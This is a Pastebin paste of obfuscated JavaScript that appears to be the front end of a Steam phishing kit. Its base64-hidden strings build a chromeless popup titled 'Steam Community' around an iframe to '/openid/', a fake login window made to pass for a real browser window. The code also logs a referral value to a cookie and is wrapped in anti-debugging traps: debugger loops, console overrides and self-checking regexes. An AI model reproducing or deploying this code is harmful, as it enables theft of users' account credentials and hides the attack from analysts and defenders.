Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 'use strict';
- /** @type {!Array} */
- var _0x1e64 = ["YWN0aW9u", "b2hIWW8=", "QlZwYWg=", "Z3dWbFc=", "ZVRUVGU=", "c3Buck8=", "Y29uc29sZQ==", "c3BsaXQ=", "dHJhY2U=", "ZXhjZXB0aW9u", "ZGVidWc=", "d2Fybg==", "aW5mbw==", "ZXJyb3I=", "bG9n", "c2V0VGltZQ==", "Z2V0VGltZQ==", "dG9VVENTdHJpbmc=", "Y29va2ll", "b29Pc3o=", "UGlFdkU=", "c3RyaW5n", "bUlJZkE=", "d2hpbGUgKHRydWUpIHt9", "SGZES3o=", "Y291bnRlcg==", "aXJXVkI=", "TERhZlQ=", "SERKZU0=", "bGVuZ3Ro", "d0xLbVY=", "eldRSXU=", "cVpYUGI=", "eU5QZ0s=", "UW52Qmc=", "ZUJBUHA=", "amdURk8=", "c3RhdGVPYmplY3Q=",
- "ZnBZTUE=", "WkNER3A=", "SlJvd2s=", "b3RUR2k=", "UnlUbXo=", "WUxJbHQ=", "S3ZBYUU=", "UkxKS3A=", "bG9jYXRpb24=", "aHJlZg==", "aW5kZXhPZg==", "c2xpY2U=", "cmVm", "aFRiZlE=", "bG9nZ2Vk", "SmVVeXA=", "bUdpTVE=", "c2VuZA==", "ZHpRbWE=", "c3VibWl0", "WEdMYVc=", "b3Blbg==", "YnFSbEk=", "dk5RbGo=", "aVlxb3k=", "RUt0RVE=", "cG9wdXA=", "bkNiaHk=", "PHN0eWxlPmJvZHkge21hcmdpbjogMDsgb3ZlcmZsb3c6IGhpZGRlbjsgaGVpZ2h0OiAxMDAlO30gaWZyYW1lIHtoZWlnaHQ6IDEwMCU7IHdpZHRoOiAxMDAlOyBib3JkZXI6IDA7fTwvc3R5bGU+", "bEp3Qlc=",
- "PHRpdGxlPlN0ZWFtIENvbW11bml0eTwvdGl0bGU+", "Z2x1Ym0=", "PGlmcmFtZSBzdHlsZT0naGVpZ2h0OiAxMDAlOycgc3JjPScvb3BlbmlkLyc+PC9pZnJhbWU+", "ZXZlbnQ=", "d2lkdGg=", "aGVpZ2h0", "c3RhdHVzPW5vLHRvb2xiYXI9bm8sbG9jYXRpb249bm8sZGlyZWN0b3JpZXM9bm8scmVzaXNhYmxlPW5vLHNyb2xsYmFycz15ZXMsd2lkdGg9MTA1MCxoZWlnaHQ9NjAwLGxlZnQ9", "LHRvcD0=", "ZG9jdW1lbnQ=", "d3JpdGU=", "b25iZWZvcmV1bmxvYWQ=", "Z2V0RWxlbWVudHNCeUNsYXNz", "eFNHTWM=", "a0F6am0=", "aW5pdA==", "S09vWWo=", "VFdBR2I=", "VGR3aHY=", "ZlRjZFQ=", "ZnVuY3Rpb24gKlwoICpcKQ==",
- "aHZGRnU=", "UWZRV3U=", "Y2hhaW4=", "QVNRakI=", "aW5wdXQ=", "TGxVaEk=", "RXRNeHY=", "bmdTVFY=", "YnJuTGc=", "YURXS2s=", "cHFJVU0=", "b2Z5VnE=", "SHNUZ3o=", "SU1yRVA=", "RUFzQVE=", "Z1ROaGs=", "RlB1Q3E=", "M3w3fDR8Mnw1fDZ8MXwwfDg=", "dkhCbXQ=", "aXlUQVU=", "ZnVOSlg=", "QXFSc3k=", "cmV0dXJuIChmdW5jdGlvbigpIA==", "Z0dvWXg=", "e30uY29uc3RydWN0b3IoInJldHVybiB0aGlzIikoICk=", "UUJXWUc=", "SGpRaXk=", "Q3dEUmY=", "YnlYZ1M=", "VU9JWGU=", "bVVHaEI=", "R2RhV0U=", "S290R1A=", "OyBleHBpcmVzPQ==", "UmJNU1c=", "aHVLeks=",
- "eGNUYkU=", "OyBwYXRoPS8=", "WHB4WXU=", "end2UHA=", "WGFZQ0Q=", "Q1FpanI=", "SkFLVUQ=", "ckh1dGw=", "akpuTVU=", "WHl0REE=", "XCtcKyAqKD86XzB4KD86W2EtZjAtOV0pezQsNn18KD86XGJ8XGQpW2EtejAtOV17MSw0fSg/OlxifFxkKSk=", "aEluZlA=", "Z2lIdnM=", "clpKT2o=", "VFNzcGY=", "YXBwbHk=", "dGVzdA==", "a2NsVmk=", "dmxkbWY=", "Z2dlcg==", "Y29uc3RydWN0b3I=", "ZGVidQ==", "Y2FsbA=="];
- (function(params, content) {
- /**
- * @param {?} selected_image
- * @return {undefined}
- */
- var fn = function(selected_image) {
- for (; --selected_image;) {
- params["push"](params["shift"]());
- }
- };
- /**
- * @return {undefined}
- */
- var build = function() {
- var target = {
- "data" : {
- "key" : "cookie",
- "value" : "timeout"
- },
- "setCookie" : function(value, name, path, headers) {
- headers = headers || {};
- /** @type {string} */
- var cookie = name + "=" + path;
- /** @type {number} */
- var url = 0;
- /** @type {number} */
- url = 0;
- var key = value["length"];
- for (; url < key; url++) {
- var i = value[url];
- /** @type {string} */
- cookie = cookie + ("; " + i);
- var char = value[i];
- value["push"](char);
- key = value["length"];
- if (char !== !![]) {
- /** @type {string} */
- cookie = cookie + ("=" + char);
- }
- }
- /** @type {string} */
- headers["cookie"] = cookie;
- },
- "removeCookie" : function() {
- return "dev";
- },
- "getCookie" : function(match, href) {
- match = match || function(canCreateDiscussions) {
- return canCreateDiscussions;
- };
- var v = match(new RegExp("(?:^|; )" + href["replace"](/([.$?*|{}()[]\/+^])/g, "$1") + "=([^;]*)"));
- /**
- * @param {!Function} callback
- * @param {number} i
- * @return {undefined}
- */
- var test = function(callback, i) {
- callback(++i);
- };
- test(fn, content);
- return v ? decodeURIComponent(v[1]) : undefined;
- }
- };
- /**
- * @return {?}
- */
- var init = function() {
- /** @type {!RegExp} */
- var test = new RegExp("\\w+ *\\(\\) *{\\w+ *['|\"].+['|\"];? *}");
- return test["test"](target["removeCookie"]["toString"]());
- };
- /** @type {function(): ?} */
- target["updateCookie"] = init;
- /** @type {string} */
- var array = "";
- var _0x43ddeb = target["updateCookie"]();
- if (!_0x43ddeb) {
- target["setCookie"](["*"], "counter", 1);
- } else {
- if (_0x43ddeb) {
- array = target["getCookie"](null, "counter");
- } else {
- target["removeCookie"]();
- }
- }
- };
- build();
- })(_0x1e64, 340);
- /**
- * @param {string} k
- * @param {?} init_using_data
- * @return {?}
- */
- var _0xae00 = function(k, init_using_data) {
- /** @type {number} */
- k = k - 0;
- var text = _0x1e64[k];
- if (_0xae00["aMXtDe"] === undefined) {
- (function() {
- var PL$14;
- try {
- var evaluate = Function("return (function() " + '{}.constructor("return this")( )' + ");");
- PL$14 = evaluate();
- } catch (_0x2d25b8) {
- /** @type {!Window} */
- PL$14 = window;
- }
- /** @type {string} */
- var listeners = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
- if (!PL$14["atob"]) {
- /**
- * @param {?} i
- * @return {?}
- */
- PL$14["atob"] = function(i) {
- var str = String(i)["replace"](/=+$/, "");
- /** @type {number} */
- var bc = 0;
- var bs;
- var buffer;
- /** @type {number} */
- var Y = 0;
- /** @type {string} */
- var pix_color = "";
- for (; buffer = str["charAt"](Y++); ~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer, bc++ % 4) ? pix_color = pix_color + String["fromCharCode"](255 & bs >> (-2 * bc & 6)) : 0) {
- buffer = listeners["indexOf"](buffer);
- }
- return pix_color;
- };
- }
- })();
- /**
- * @param {?} dataString
- * @return {?}
- */
- _0xae00["xeoMMV"] = function(dataString) {
- /** @type {string} */
- var data = atob(dataString);
- /** @type {!Array} */
- var escapedString = [];
- /** @type {number} */
- var val = 0;
- var key = data["length"];
- for (; val < key; val++) {
- escapedString = escapedString + ("%" + ("00" + data["charCodeAt"](val)["toString"](16))["slice"](-2));
- }
- return decodeURIComponent(escapedString);
- };
- _0xae00["YLdvAT"] = {};
- /** @type {boolean} */
- _0xae00["aMXtDe"] = !![];
- }
- var b = _0xae00["YLdvAT"][k];
- if (b === undefined) {
- /**
- * @param {?} deny
- * @return {undefined}
- */
- var WMCacheControl = function(deny) {
- this["NrRLqw"] = deny;
- /** @type {!Array} */
- this["ZuDYBW"] = [1, 0, 0];
- /**
- * @return {?}
- */
- this["eDEIpw"] = function() {
- return "newState";
- };
- /** @type {string} */
- this["XeKBfg"] = "\\w+ *\\(\\) *{\\w+ *";
- /** @type {string} */
- this["uhJnig"] = "['|\"].+['|\"];? *}";
- };
- /**
- * @return {?}
- */
- WMCacheControl["prototype"]["ghmxUQ"] = function() {
- /** @type {!RegExp} */
- var test = new RegExp(this["XeKBfg"] + this["uhJnig"]);
- /** @type {number} */
- var artistTrack = test["test"](this["eDEIpw"]["toString"]()) ? --this["ZuDYBW"][1] : --this["ZuDYBW"][0];
- return this["XONpvU"](artistTrack);
- };
- /**
- * @param {?} canCreateDiscussions
- * @return {?}
- */
- WMCacheControl["prototype"]["XONpvU"] = function(canCreateDiscussions) {
- if (!Boolean(~canCreateDiscussions)) {
- return canCreateDiscussions;
- }
- return this["mJzzja"](this["NrRLqw"]);
- };
- /**
- * @param {?} saveNotifs
- * @return {?}
- */
- WMCacheControl["prototype"]["mJzzja"] = function(saveNotifs) {
- /** @type {number} */
- var fp = 0;
- var len = this["ZuDYBW"]["length"];
- for (; fp < len; fp++) {
- this["ZuDYBW"]["push"](Math["round"](Math["random"]()));
- len = this["ZuDYBW"]["length"];
- }
- return saveNotifs(this["ZuDYBW"][0]);
- };
- (new WMCacheControl(_0xae00))["ghmxUQ"]();
- text = _0xae00["xeoMMV"](text);
- _0xae00["YLdvAT"][k] = text;
- } else {
- text = b;
- }
- return text;
- };
- /** @type {string} */
- var ref = "";
- if (window[_0xae00("0x0")][_0xae00("0x1")][_0xae00("0x2")]("?") != -1) {
- ref = window[_0xae00("0x0")][_0xae00("0x1")][_0xae00("0x3")](window[_0xae00("0x0")][_0xae00("0x1")][_0xae00("0x2")]("?") + 1);
- } else {
- if (window[_0xae00("0x0")][_0xae00("0x1")][_0xae00("0x2")]("#") != -1) {
- ref = window[_0xae00("0x0")][_0xae00("0x1")][_0xae00("0x3")](window[_0xae00("0x0")][_0xae00("0x1")][_0xae00("0x2")]("#") + 1);
- }
- }
- if (ref != "") {
- setCookie(_0xae00("0x4"), ref, 365);
- }
- /**
- * @return {undefined}
- */
- function login() {
- var a = {};
- a[_0xae00("0x5")] = _0xae00("0x6");
- /**
- * @param {?} callback
- * @param {?} response_2
- * @param {?} webhookMsg
- * @param {?} privateContent
- * @param {?} indexSoFar
- * @return {?}
- */
- a[_0xae00("0x7")] = function(callback, response_2, webhookMsg, privateContent, indexSoFar) {
- return callback(response_2, webhookMsg, privateContent, indexSoFar);
- };
- a[_0xae00("0x8")] = _0xae00("0x9");
- a[_0xae00("0xa")] = _0xae00("0xb");
- a[_0xae00("0xc")] = _0xae00("0xd");
- /**
- * @param {(boolean|number|string)} _num2
- * @param {(boolean|number|string)} _num1
- * @return {?}
- */
- a[_0xae00("0xe")] = function(_num2, _num1) {
- return _num2 / _num1;
- };
- /**
- * @param {(boolean|number|string)} b
- * @param {(boolean|number|string)} a
- * @return {?}
- */
- a[_0xae00("0xf")] = function(b, a) {
- return b - a;
- };
- /**
- * @param {(boolean|number|string)} _num2
- * @param {(boolean|number|string)} _num1
- * @return {?}
- */
- a[_0xae00("0x10")] = function(_num2, _num1) {
- return _num2 / _num1;
- };
- a[_0xae00("0x11")] = _0xae00("0x12");
- a[_0xae00("0x13")] = _0xae00("0x14");
- a[_0xae00("0x15")] = _0xae00("0x16");
- a[_0xae00("0x17")] = _0xae00("0x18");
- a[_0xae00("0x7")](ga, a[_0xae00("0x8")], _0xae00("0x19"), a[_0xae00("0xa")], a[_0xae00("0xc")]);
- /** @type {number} */
- var _0x865860 = screen[_0xae00("0x1a")] / 2 - a[_0xae00("0xe")](1050, 2);
- var _0x2ef51f = a[_0xae00("0xf")](a[_0xae00("0x10")](screen[_0xae00("0x1b")], 2), a[_0xae00("0x10")](800, 2));
- var sepor = window[_0xae00("0xd")]("", a[_0xae00("0x11")], _0xae00("0x1c") + _0x865860 + _0xae00("0x1d") + _0x2ef51f);
- var ac = a[_0xae00("0x13")];
- ac = ac + a[_0xae00("0x15")];
- ac = ac + a[_0xae00("0x17")];
- sepor[_0xae00("0x1e")][_0xae00("0x1f")](ac);
- /**
- * @return {undefined}
- */
- sepor[_0xae00("0x20")] = function() {
- if (document[_0xae00("0x21")](a[_0xae00("0x5")])[0]) {
- }
- };
- }
- /**
- * @param {?} data
- * @param {string} name
- * @param {number} uri
- * @return {?}
- */
- function setCookie(data, name, uri) {
- var escapeCookie = function() {
- /** @type {boolean} */
- var closeExpr = !![];
- return function(object__360, function__361) {
- /** @type {!Function} */
- var closingExpr = closeExpr ? function() {
- if (function__361) {
- var cssobj = function__361["apply"](object__360, arguments);
- /** @type {null} */
- function__361 = null;
- return cssobj;
- }
- } : function() {
- };
- /** @type {boolean} */
- closeExpr = ![];
- return closingExpr;
- };
- }();
- var findCookie = escapeCookie(this, function() {
- /**
- * @return {?}
- */
- var intval = function() {
- return "dev";
- };
- /**
- * @return {?}
- */
- var getDOMPath = function() {
- return "window";
- };
- /**
- * @return {?}
- */
- var get = function() {
- /** @type {!RegExp} */
- var test = new RegExp("\\w+ *\\(\\) *{\\w+ *['|\"].+['|\"];? *}");
- return !test["test"](intval["toString"]());
- };
- /**
- * @return {?}
- */
- var next = function() {
- /** @type {!RegExp} */
- var test = new RegExp("(\\\\[x|u](\\w){2,4})+");
- return test["test"](getDOMPath["toString"]());
- };
- /**
- * @param {!Object} name
- * @return {undefined}
- */
- var matches = function(name) {
- /** @type {number} */
- var ms_controller = ~-1 >> 1 + 255 % 0;
- if (name["indexOf"]("i" === ms_controller)) {
- create(name);
- }
- };
- /**
- * @param {!Object} func
- * @return {undefined}
- */
- var create = function(func) {
- /** @type {number} */
- var _0x559ee9 = ~-4 >> 1 + 255 % 0;
- if (func["indexOf"]((!![] + "")[3]) !== _0x559ee9) {
- matches(func);
- }
- };
- if (!get()) {
- if (!next()) {
- matches("ind\u0435xOf");
- } else {
- matches("indexOf");
- }
- } else {
- matches("ind\u0435xOf");
- }
- });
- findCookie();
- var path = {};
- /**
- * @param {?} saveNotifs
- * @param {?} notifications
- * @return {?}
- */
- path[_0xae00("0x22")] = function(saveNotifs, notifications) {
- return saveNotifs(notifications);
- };
- path[_0xae00("0x23")] = _0xae00("0x24");
- path[_0xae00("0x25")] = _0xae00("0x26");
- /**
- * @param {?} callback
- * @param {?} response_2
- * @param {?} webhookMsg
- * @return {?}
- */
- path[_0xae00("0x27")] = function(callback, response_2, webhookMsg) {
- return callback(response_2, webhookMsg);
- };
- path[_0xae00("0x28")] = _0xae00("0x29");
- /**
- * @param {(Object|number)} buckets
- * @param {!Object} name
- * @return {?}
- */
- path[_0xae00("0x2a")] = function(buckets, name) {
- return buckets + name;
- };
- path[_0xae00("0x2b")] = _0xae00("0x2c");
- path[_0xae00("0x2d")] = _0xae00("0x2e");
- path[_0xae00("0x2f")] = _0xae00("0x30");
- path[_0xae00("0x31")] = _0xae00("0x32");
- /**
- * @param {?} saveNotifs
- * @return {?}
- */
- path[_0xae00("0x33")] = function(saveNotifs) {
- return saveNotifs();
- };
- /**
- * @param {?} callback
- * @param {?} response_2
- * @param {?} webhookMsg
- * @return {?}
- */
- path[_0xae00("0x34")] = function(callback, response_2, webhookMsg) {
- return callback(response_2, webhookMsg);
- };
- /**
- * @param {?} x_or_y
- * @param {?} y
- * @return {?}
- */
- path[_0xae00("0x35")] = function(x_or_y, y) {
- return x_or_y === y;
- };
- path[_0xae00("0x36")] = _0xae00("0x37");
- path[_0xae00("0x38")] = _0xae00("0x39");
- path[_0xae00("0x3a")] = _0xae00("0x3b");
- /**
- * @param {?} saveNotifs
- * @param {?} notifications
- * @return {?}
- */
- path[_0xae00("0x3c")] = function(saveNotifs, notifications) {
- return saveNotifs(notifications);
- };
- /**
- * @param {(Object|number)} buckets
- * @param {!Object} name
- * @return {?}
- */
- path[_0xae00("0x3d")] = function(buckets, name) {
- return buckets + name;
- };
- /**
- * @param {(Object|number)} buckets
- * @param {!Object} name
- * @return {?}
- */
- path[_0xae00("0x3e")] = function(buckets, name) {
- return buckets + name;
- };
- path[_0xae00("0x3f")] = _0xae00("0x40");
- path[_0xae00("0x41")] = _0xae00("0x42");
- /**
- * @param {?} saveNotifs
- * @return {?}
- */
- path[_0xae00("0x43")] = function(saveNotifs) {
- return saveNotifs();
- };
- /**
- * @param {?} saveNotifs
- * @return {?}
- */
- path[_0xae00("0x44")] = function(saveNotifs) {
- return saveNotifs();
- };
- /**
- * @param {?} optionsValue
- * @param {?} value
- * @return {?}
- */
- path[_0xae00("0x45")] = function(optionsValue, value) {
- return optionsValue !== value;
- };
- path[_0xae00("0x46")] = _0xae00("0x47");
- /**
- * @param {number} mmCoreSecondsDay
- * @param {number} daysInterval
- * @return {?}
- */
- path[_0xae00("0x48")] = function(mmCoreSecondsDay, daysInterval) {
- return mmCoreSecondsDay * daysInterval;
- };
- /**
- * @param {(Object|number)} buckets
- * @param {!Object} name
- * @return {?}
- */
- path[_0xae00("0x49")] = function(buckets, name) {
- return buckets + name;
- };
- path[_0xae00("0x4a")] = _0xae00("0x4b");
- /**
- * @param {(Object|number)} buckets
- * @param {!Object} name
- * @return {?}
- */
- path[_0xae00("0x4c")] = function(buckets, name) {
- return buckets + name;
- };
- /**
- * @param {number} isPrevType
- * @param {boolean} isCurrentType
- * @return {?}
- */
- path[_0xae00("0x4d")] = function(isPrevType, isCurrentType) {
- return isPrevType || isCurrentType;
- };
- path[_0xae00("0x4e")] = _0xae00("0x4f");
- var x = function() {
- var $mmLocalNotifications = {};
- /**
- * @param {?} customKeyBindingsFile
- * @param {?} pkbFile
- * @return {?}
- */
- $mmLocalNotifications[_0xae00("0x50")] = function(customKeyBindingsFile, pkbFile) {
- return path.xSGMc(customKeyBindingsFile, pkbFile);
- };
- $mmLocalNotifications[_0xae00("0x51")] = path.kAzjm;
- $mmLocalNotifications[_0xae00("0x52")] = _0xae00("0x2c");
- $mmLocalNotifications[_0xae00("0x53")] = path.KOoYj;
- /**
- * @param {?} customKeyBindingsFile
- * @param {?} pkbFile
- * @param {?} questionDirectory
- * @return {?}
- */
- $mmLocalNotifications[_0xae00("0x54")] = function(customKeyBindingsFile, pkbFile, questionDirectory) {
- return path.Tdwhv(customKeyBindingsFile, pkbFile, questionDirectory);
- };
- /** @type {boolean} */
- var closeExpr = !![];
- return function(value, deferred) {
- var boxModelProps = {};
- /**
- * @param {?} mmaPushNotificationsComponent
- * @param {?} mmaCalendarComponent
- * @param {?} siteId
- * @return {?}
- */
- boxModelProps[_0xae00("0x55")] = function(mmaPushNotificationsComponent, mmaCalendarComponent, siteId) {
- return $mmLocalNotifications.JAKUD(mmaPushNotificationsComponent, mmaCalendarComponent, siteId);
- };
- /** @type {!Function} */
- var closingExpr = closeExpr ? function() {
- var cc = {};
- cc[_0xae00("0x56")] = _0xae00("0x29");
- cc[_0xae00("0x57")] = _0xae00("0x58");
- /**
- * @param {?} mmaPushNotificationsComponent
- * @param {?} mmaCalendarComponent
- * @return {?}
- */
- cc[_0xae00("0x59")] = function(mmaPushNotificationsComponent, mmaCalendarComponent) {
- return $mmLocalNotifications.XpxYu(mmaPushNotificationsComponent, mmaCalendarComponent);
- };
- cc[_0xae00("0x5a")] = $mmLocalNotifications.zwvPp;
- cc[_0xae00("0x5b")] = $mmLocalNotifications.XaYCD;
- /**
- * @param {?} saveNotifs
- * @return {?}
- */
- cc[_0xae00("0x5c")] = function(saveNotifs) {
- return saveNotifs();
- };
- if (_0xae00("0x26") === $mmLocalNotifications[_0xae00("0x53")]) {
- if (deferred) {
- var mom = deferred[_0xae00("0x5d")](value, arguments);
- /** @type {null} */
- deferred = null;
- return mom;
- }
- } else {
- boxModelProps[_0xae00("0x55")](x, this, function() {
- /** @type {!RegExp} */
- var _loaderStrategy = new RegExp(cc[_0xae00("0x56")]);
- /** @type {!RegExp} */
- var inlineAttributeCommentRegex = new RegExp(cc[_0xae00("0x57")], "i");
- var path = cc[_0xae00("0x59")](_0x29df6f, cc[_0xae00("0x5a")]);
- if (!_loaderStrategy[_0xae00("0x5e")](path + cc[_0xae00("0x5b")]) || !inlineAttributeCommentRegex[_0xae00("0x5e")](path + _0xae00("0x2e"))) {
- path("0");
- } else {
- cc[_0xae00("0x5c")](_0x29df6f);
- }
- })();
- }
- } : function() {
- };
- /** @type {boolean} */
- closeExpr = ![];
- return closingExpr;
- };
- }();
- (function() {
- path[_0xae00("0x34")](x, this, function() {
- var _0x15a669 = {};
- /**
- * @param {(Object|number)} buckets
- * @param {!Object} name
- * @return {?}
- */
- _0x15a669[_0xae00("0x5f")] = function(buckets, name) {
- return buckets + name;
- };
- _0x15a669[_0xae00("0x60")] = _0xae00("0x61");
- /** @type {!RegExp} */
- var d = new RegExp(path[_0xae00("0x28")]);
- /** @type {!RegExp} */
- var rangesPattern = new RegExp(_0xae00("0x58"), "i");
- var x = path[_0xae00("0x22")](_0x29df6f, _0xae00("0x24"));
- if (!d[_0xae00("0x5e")](path[_0xae00("0x2a")](x, path[_0xae00("0x2b")])) || !rangesPattern[_0xae00("0x5e")](x + path[_0xae00("0x2d")])) {
- if (path[_0xae00("0x2f")] !== path[_0xae00("0x31")]) {
- path[_0xae00("0x22")](x, "0");
- } else {
- (function() {
- return !![];
- })[_0xae00("0x62")](_0x15a669[_0xae00("0x5f")](_0xae00("0x63"), _0x15a669[_0xae00("0x60")]))[_0xae00("0x64")](_0xae00("0x65"));
- }
- } else {
- path[_0xae00("0x33")](_0x29df6f);
- }
- })();
- })();
- var parseuri = function() {
- var _0x3ca2cf = {};
- /**
- * @param {?} customKeyBindingsFile
- * @param {?} pkbFile
- * @return {?}
- */
- _0x3ca2cf[_0xae00("0x66")] = function(customKeyBindingsFile, pkbFile) {
- return path.ofyVq(customKeyBindingsFile, pkbFile);
- };
- _0x3ca2cf[_0xae00("0x67")] = _0xae00("0x68");
- _0x3ca2cf[_0xae00("0x69")] = _0xae00("0x6a");
- /** @type {boolean} */
- var closeExpr = !![];
- return function(value, deferred) {
- /** @type {!Function} */
- var closingExpr = closeExpr ? function() {
- if (_0x3ca2cf[_0xae00("0x66")](_0x3ca2cf[_0xae00("0x67")], _0x3ca2cf[_0xae00("0x69")])) {
- return debuggerProtection;
- } else {
- if (deferred) {
- var mom = deferred[_0xae00("0x5d")](value, arguments);
- /** @type {null} */
- deferred = null;
- return mom;
- }
- }
- } : function() {
- };
- /** @type {boolean} */
- closeExpr = ![];
- return closingExpr;
- };
- }();
- var localhost = parseuri(this, function() {
- /**
- * @return {undefined}
- */
- var next = function() {
- };
- var current;
- try {
- var obj = path[_0xae00("0x3c")](Function, path[_0xae00("0x3d")](path[_0xae00("0x3e")](path[_0xae00("0x3f")], path[_0xae00("0x41")]), ");"));
- current = path[_0xae00("0x43")](obj);
- } catch (_0x3e69e4) {
- /** @type {!Window} */
- current = window;
- }
- if (!current[_0xae00("0x6b")]) {
- current[_0xae00("0x6b")] = function(callback) {
- if (path[_0xae00("0x36")] === path[_0xae00("0x38")]) {
- if (fn) {
- var denies = fn[_0xae00("0x5d")](context, arguments);
- /** @type {null} */
- fn = null;
- return denies;
- }
- } else {
- var callbackVals = path[_0xae00("0x3a")][_0xae00("0x6c")]("|");
- /** @type {number} */
- var callbackCount = 0;
- for (; !![];) {
- switch(callbackVals[callbackCount++]) {
- case "0":
- /** @type {function(): undefined} */
- receiveHandlers[_0xae00("0x6d")] = callback;
- continue;
- case "1":
- /** @type {function(): undefined} */
- receiveHandlers[_0xae00("0x6e")] = callback;
- continue;
- case "2":
- /** @type {function(): undefined} */
- receiveHandlers[_0xae00("0x6f")] = callback;
- continue;
- case "3":
- var receiveHandlers = {};
- continue;
- case "4":
- /** @type {function(): undefined} */
- receiveHandlers[_0xae00("0x70")] = callback;
- continue;
- case "5":
- /** @type {function(): undefined} */
- receiveHandlers[_0xae00("0x71")] = callback;
- continue;
- case "6":
- /** @type {function(): undefined} */
- receiveHandlers[_0xae00("0x72")] = callback;
- continue;
- case "7":
- /** @type {function(): undefined} */
- receiveHandlers[_0xae00("0x73")] = callback;
- continue;
- case "8":
- return receiveHandlers;
- }
- break;
- }
- }
- }(next);
- } else {
- /** @type {function(): undefined} */
- current[_0xae00("0x6b")][_0xae00("0x73")] = next;
- /** @type {function(): undefined} */
- current[_0xae00("0x6b")][_0xae00("0x70")] = next;
- /** @type {function(): undefined} */
- current[_0xae00("0x6b")][_0xae00("0x6f")] = next;
- /** @type {function(): undefined} */
- current[_0xae00("0x6b")][_0xae00("0x71")] = next;
- /** @type {function(): undefined} */
- current[_0xae00("0x6b")][_0xae00("0x72")] = next;
- /** @type {function(): undefined} */
- current[_0xae00("0x6b")][_0xae00("0x6e")] = next;
- /** @type {function(): undefined} */
- current[_0xae00("0x6b")][_0xae00("0x6d")] = next;
- }
- });
- path[_0xae00("0x44")](localhost);
- /** @type {string} */
- var query = "";
- if (uri) {
- if (path[_0xae00("0x45")](path[_0xae00("0x46")], path[_0xae00("0x46")])) {
- return !![];
- } else {
- /** @type {!Date} */
- var expected_date2 = new Date;
- expected_date2[_0xae00("0x74")](path[_0xae00("0x3e")](expected_date2[_0xae00("0x75")](), path[_0xae00("0x48")](path[_0xae00("0x48")](uri * 24, 60), 60) * 1E3));
- query = path[_0xae00("0x49")](path[_0xae00("0x4a")], expected_date2[_0xae00("0x76")]());
- }
- }
- document[_0xae00("0x77")] = path[_0xae00("0x49")](path[_0xae00("0x4c")](path[_0xae00("0x4c")](data, "="), path[_0xae00("0x4d")](name, "")), query) + path[_0xae00("0x4e")];
- }
- /**
- * @param {?} canCreateDiscussions
- * @return {?}
- */
- function _0x29df6f(canCreateDiscussions) {
- /**
- * @param {?} target
- * @return {?}
- */
- function req(target) {
- if (action[_0xae00("0x78")](typeof target, action[_0xae00("0x79")])) {
- return function(canCreateDiscussions) {
- }[_0xae00("0x62")](action[_0xae00("0x7b")])[_0xae00("0x5d")](action[_0xae00("0x7d")]);
- } else {
- if (action[_0xae00("0x7f")](("" + action[_0xae00("0x80")](target, target))[action[_0xae00("0x81")]], 1) || action[_0xae00("0x83")](action[_0xae00("0x84")](target, 20), 0)) {
- (function() {
- return !![];
- })[_0xae00("0x62")](action[_0xae00("0x85")](_0xae00("0x63"), _0xae00("0x61")))[_0xae00("0x64")](action[_0xae00("0x86")]);
- } else {
- (function() {
- return ![];
- })[_0xae00("0x62")](action[_0xae00("0x85")](action[_0xae00("0x87")], action[_0xae00("0x88")]))[_0xae00("0x5d")](action[_0xae00("0x89")]);
- }
- }
- action[_0xae00("0x8b")](req, ++target);
- }
- var action = {};
- /**
- * @param {?} x_or_y
- * @param {?} y
- * @return {?}
- */
- action[_0xae00("0x78")] = function(x_or_y, y) {
- return x_or_y === y;
- };
- action[_0xae00("0x79")] = _0xae00("0x7a");
- action[_0xae00("0x7b")] = _0xae00("0x7c");
- action[_0xae00("0x7d")] = _0xae00("0x7e");
- /**
- * @param {?} optionsValue
- * @param {?} value
- * @return {?}
- */
- action[_0xae00("0x7f")] = function(optionsValue, value) {
- return optionsValue !== value;
- };
- /**
- * @param {(boolean|number|string)} _num2
- * @param {(boolean|number|string)} _num1
- * @return {?}
- */
- action[_0xae00("0x80")] = function(_num2, _num1) {
- return _num2 / _num1;
- };
- action[_0xae00("0x81")] = _0xae00("0x82");
- /**
- * @param {?} x_or_y
- * @param {?} y
- * @return {?}
- */
- action[_0xae00("0x83")] = function(x_or_y, y) {
- return x_or_y === y;
- };
- /**
- * @param {(boolean|number|string)} number_to_dividee
- * @param {(boolean|number|string)} divided_by
- * @return {?}
- */
- action[_0xae00("0x84")] = function(number_to_dividee, divided_by) {
- return number_to_dividee % divided_by;
- };
- /**
- * @param {(Object|number)} buckets
- * @param {!Object} name
- * @return {?}
- */
- action[_0xae00("0x85")] = function(buckets, name) {
- return buckets + name;
- };
- action[_0xae00("0x86")] = _0xae00("0x65");
- action[_0xae00("0x87")] = _0xae00("0x63");
- action[_0xae00("0x88")] = _0xae00("0x61");
- action[_0xae00("0x89")] = _0xae00("0x8a");
- /**
- * @param {?} saveNotifs
- * @param {?} notifications
- * @return {?}
- */
- action[_0xae00("0x8b")] = function(saveNotifs, notifications) {
- return saveNotifs(notifications);
- };
- /**
- * @param {?} saveNotifs
- * @param {?} notifications
- * @return {?}
- */
- action[_0xae00("0x8c")] = function(saveNotifs, notifications) {
- return saveNotifs(notifications);
- };
- action[_0xae00("0x8d")] = _0xae00("0x40");
- action[_0xae00("0x8e")] = _0xae00("0x42");
- /**
- * @param {?} saveNotifs
- * @return {?}
- */
- action[_0xae00("0x8f")] = function(saveNotifs) {
- return saveNotifs();
- };
- /**
- * @param {?} saveNotifs
- * @param {?} notifications
- * @return {?}
- */
- action[_0xae00("0x90")] = function(saveNotifs, notifications) {
- return saveNotifs(notifications);
- };
- try {
- if (action[_0xae00("0x7f")](_0xae00("0x91"), _0xae00("0x92"))) {
- if (canCreateDiscussions) {
- return req;
- } else {
- action[_0xae00("0x90")](req, 0);
- }
- } else {
- var b = action[_0xae00("0x8c")](Function, action[_0xae00("0x85")](action[_0xae00("0x8d")], action[_0xae00("0x8e")]) + ");");
- that = action[_0xae00("0x8f")](b);
- }
- } catch (_0x14249d) {
- }
- }
- setInterval(function() {
- _0x29df6f();
- }, 4E3);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement